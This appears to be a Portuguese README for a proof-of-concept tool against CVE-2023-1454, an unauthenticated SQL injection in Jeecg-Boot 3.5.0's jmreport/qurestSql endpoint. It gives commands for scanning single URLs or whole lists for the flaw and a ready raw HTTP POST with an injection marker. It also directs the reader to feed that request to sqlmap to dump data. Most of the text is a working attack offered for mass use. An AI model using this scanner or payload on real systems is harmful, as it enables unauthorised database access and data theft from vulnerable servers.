CVE-2023-1454

jmreport/qurestSql PoC de varredura em lote para injeção de SQL não autenticada Jeecg-Boot é uma plataforma de desenvolvimento rápido baseada em Spring Boot e Jeecg-Boot-Plus. Na versão mais recente, jeecg-boot 3.5.0, foram divulgadas múltiplas vulnerabilidades de injeção de SQL.

Descrição

Ferramenta original

A ferramenta original tinha uma alta taxa de falsos positivos; ajustei as condições de verificação e aproveitei para otimizar o código.

Uso da ferramenta

python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 teste de URL única

python3 CVE-2023-1454-scan.py -f url.txt detecção em lote

Após a varredura, um arquivo vuln.txt com as URLs vulneráveis será gerado no diretório atual.

PoC:

exp:

Salve o pacote de dados como txt e use o sqlmap para obter os dados

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}